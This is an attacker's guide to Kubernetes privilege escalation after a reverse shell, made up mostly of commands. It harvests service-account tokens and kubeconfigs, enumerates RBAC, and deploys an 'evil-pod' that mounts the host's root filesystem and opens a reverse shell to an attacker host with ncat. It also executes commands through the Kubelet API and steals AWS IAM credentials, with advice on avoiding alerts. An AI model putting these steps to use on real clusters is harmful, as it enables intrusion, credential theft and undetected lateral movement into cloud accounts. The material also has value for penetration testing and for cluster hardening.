Let’s say you got a reverse shell from a process running in a Kubernetes environment. This guide details the basic steps you can take to escalate your privileges within Kubernetes.

Are you in a Kubernetes environment? If yes, what’s the API server?

# by default, Kubernetes automounts default service account credentials
# if you see /run/secrets/kubernetes.io/serviceaccount being mounted, you are in Kubernetes
# if the hostPath root directorty is mounted, you can also see other service accounts' tokens belonging to other pods on the same node
mount | grep secret

# where is the KubeAPI server?
env | grep KUBERNETES

# kubeconfig files contain everything you need to communicate with the API server
find / -name kubeconfig 2>/dev/null

Interacting with the KubeAPI server

# You can use curl but kubectl makes it a whole lot easier
curl -LO https://storage.googleapis.com/kubernetes-release/release/`curl -s https://storage.googleapis.com/kubernetes-release/release/stable.txt`/bin/linux/amd64/kubectl

# using the service account's token to interact with the API server
alias k="kubectl --token=`cat /run/secrets/kubernetes.io/serviceaccount/token` --certificate-authority=/run/secrets/kubernetes.io/serviceaccount/ca.crt --server <API server>"

# or
alias k="kubectl --kubeconfig <path to kubeconfig file>"

Enumerating privileges

k auth can-i --list # listing privileges on the current account
k auth can-i create pods # checking if the current account can create pods
k auth can-i exec pods # what about exec into pods?
k get sa -A # can you list all service accounts in the cluster?
k get ns # listing namespaces
k get roles -A # listing roles
k get rolebindings -A # listing role bindings
k get clusterroles # listing cluster roles
k get clusterrolebindings # listing cluster role bindings

# understand the relationships between different roles/clusterroles and SAs in the cluster
k get rolebindings,clusterrolebindings -A -o custom-columns='KIND:kind,NAMESPACE:metadata.namespace,NAME:metadata.name,ROLE/CLUSTERROLE:roleRef.name,SA:subjects[?(@.kind=="ServiceAccount")].name'

# find out the privileges given to a role/clusterrole
k get role <role> -n <namespace> -o yaml
k get clusterrole <clusterrole> -o yaml

# finding which SAs are assigned an IAM role within AWS
k get sa -A -o=custom-columns=SA:metadata.name,NS:metadata.namespace,IAM-ROLE:"metadata.annotations.eks\.amazonaws\.com/role-arn" | grep -v "<none>"

# finding which SAs are assigned to which pods
k get pod -A -o=custom-columns=POD:metadata.name,NS:metadata.namespace,SA:spec.serviceAccount

Moving laterally

Once you determine which SA has higher privileges, you can either:

  1. exec into a pod to which that SA is assigned if possible
  2. create a new pod and assign that SA to the new pod

You can use the following yaml template to create a new pod, assigned with a SA of your choice. This template also attempts to mount the host’s root filesystem on the container. Do note that pods are ephemeral and can be killed off by various reasons at any point. If you can, I’d go with Deployment or DaemonSet.

apiVersion: v1
kind: Pod
  name: evil-pod
  namespace: <namespace>
  - image: <your_image>
    name: evil-pod
    command: ["/bin/sh"]
    args: ["-c", "ncat <attacker_IP> <port> -e /bin/sh"]
    - mountPath: /host
      name: host-root
  serviceAccount: <SA>
  - hostPath:
      path: /
      type: ""
    name: host-root

Interacting with Kubelet API

# getting the worker nodes' IPs
k get pods -A -o wide

# querying the list of pods on the node if Kubelet allows anonymous requests
curl -k https://<worker_node>:10250/pods

# executing commands inside the container
curl -XPOST https://<worker_node>:10250/run/<namespace>/<pod>/<container> -d "cmd=ls -la /"

Accessing IAM role credentials

# query the metadata service from the pod for the worker node's IAM creds
# it's better to use these temporary credentials from within AWS to avoid triggering alerts

# if the pod is assigned an IAM role, you can assume the role and move over to AWS
aws sts assume-role-with-web-identity --role-arn $AWS_ROLE_ARN --role-session-name <session name> --web-identity-token file://$AWS_WEB_IDENTITY_TOKEN_FILE --duration-seconds 1000 > /tmp/irp-cred.txt
export AWS_ACCESS_KEY_ID="$(cat /tmp/irp-cred.txt | jq -r ".Credentials.AccessKeyId")"
export AWS_SECRET_ACCESS_KEY="$(cat /tmp/irp-cred.txt | jq -r ".Credentials.SecretAccessKey")"
export AWS_SESSION_TOKEN="$(cat /tmp/irp-cred.txt | jq -r ".Credentials.SessionToken")"
env | grep AWS
# proceed to enum/exploit AWS IAM privileges